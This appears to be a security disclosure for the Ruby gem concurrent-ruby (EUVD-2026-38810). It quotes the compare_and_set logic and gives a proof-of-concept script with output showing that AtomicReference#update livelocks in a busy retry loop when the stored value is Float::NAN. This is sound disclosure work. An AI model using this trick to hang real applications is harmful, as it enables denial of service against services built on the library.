concurrent-ruby EUVD-2026-38810

def update
  true until compare_and_set(old_value = get, new_value = yield(old_value))
  new_value
end

def compare_and_set(old_value, new_value)
  if old_value.kind_of? Numeric
    while true
      old = get

      return false unless old.kind_of? Numeric
      return false unless old == old_value

      result = _compare_and_set(old, new_value)
      return result if result
    end
  else
    _compare_and_set(old_value, new_value)
  end
end

#!/usr/bin/env ruby
# frozen_string_literal: true

require 'concurrent/atomic/atomic_reference'
require 'concurrent/version'

puts "ruby=#{RUBY_DESCRIPTION}"
puts "concurrent_ruby_version=#{Concurrent::VERSION}"
puts "poc=AtomicReference#update livelock when current value is Float::NAN"

ref = Concurrent::AtomicReference.new(Float::NAN)
attempts = 0
finished = false

worker = Thread.new do
  ref.update do |_old_value|
    attempts += 1
    0.0
  end
  finished = true
end

sleep 0.25

puts "nan_update_attempts_after_250ms=#{attempts}"
puts "nan_update_finished=#{finished}"
puts "nan_update_worker_alive=#{worker.alive?}"

if worker.alive? && !finished && attempts > 1000
  puts 'result=REPRODUCED busy retry loop; update did not complete'
else
  puts 'result=NOT_REPRODUCED'
end

worker.kill
worker.join

control = Concurrent::AtomicReference.new(1.0)
control_attempts = 0
control_result = control.update do |old_value|
  control_attempts += 1
  old_value + 1.0
end

puts "control_update_result=#{control_result.inspect}"
puts "control_update_attempts=#{control_attempts}"
puts "control_update_final_value=#{control.value.inspect}"

ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]
concurrent_ruby_version=1.3.6
poc=AtomicReference#update livelock when current value is Float::NAN
nan_update_attempts_after_250ms=1926016
nan_update_finished=false
nan_update_worker_alive=true
result=REPRODUCED busy retry loop; update did not complete
control_update_result=2.0
control_update_attempts=1
control_update_final_value=2.0